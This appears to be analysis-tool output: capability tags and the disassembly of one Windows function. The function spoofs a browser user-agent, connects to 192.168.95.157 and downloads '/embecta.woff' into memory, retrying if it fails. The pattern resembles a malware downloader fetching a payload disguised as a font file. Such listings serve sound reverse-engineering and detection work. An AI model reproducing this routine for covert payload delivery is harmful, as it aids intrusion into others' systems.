Function at 0x140001070
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
push r13
push r15
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r15, rcx
xor edi, edi
lea rcx, str.Mozilla_5.0__X11__Linux_x86_64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_51.0.2704.103_Safari_537.36
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x38], rdi
lea r9, [0x140003474]
mov dword [rsp + 0x30], edi
lea r8d, [rdi + 0x50]
mov dword [rsp + 0x28], 3
lea rdx, str.192.168.95.157
mov rcx, rax
mov qword [rsp + 0x20], r9
mov r12, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rsp + 0x38], rdi
lea r8, str._embecta.woff
mov dword [rsp + 0x30], edi
lea rdx, [0x140003498]
mov qword [rsp + 0x28], rdi
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r13, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov rcx, rax
xor r8d, r8d
xor edx, edx
mov rbp, rax
movzx ebx, di
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140001162
mov ecx, 0xbb8
inc bx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp bx, 3
jae 0x140001215
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x140001131
mov qword [rsp + 0x80], rsi
mov ecx, 0x200
mov qword [rsp + 0x88], r14
call fcn.1400012b0
mov ecx, 0x200
mov rsi, rax
mov r14d, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rsi
mov rcx, rbp
mov rdi, rax
xor ebx, ebx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000120c
nop word [rax + rax]
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x14000121e
lea eax, [rcx + rbx]
cmp eax, r14d
jbe 0x1400011d6
add r14d, r14d
mov rcx, rdi
mov edx, r14d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ecx, dword [rsp + 0x40]
mov rdi, rax
xor eax, eax
test ecx, ecx
je 0x1400011f1
nop dword [rax]
movzx ecx, byte [rax + rsi]
inc eax
mov byte [rbx + rdi], cl
inc ebx
cmp eax, dword [rsp + 0x40]
jb 0x1400011e0
lea r9, [rsp + 0x40]
mov r8d, 0x200
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011b0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x80]
mov rax, r15
mov r14, qword [rsp + 0x88]
mov qword [r15], rdi
mov dword [r15 + 8], ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001290
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret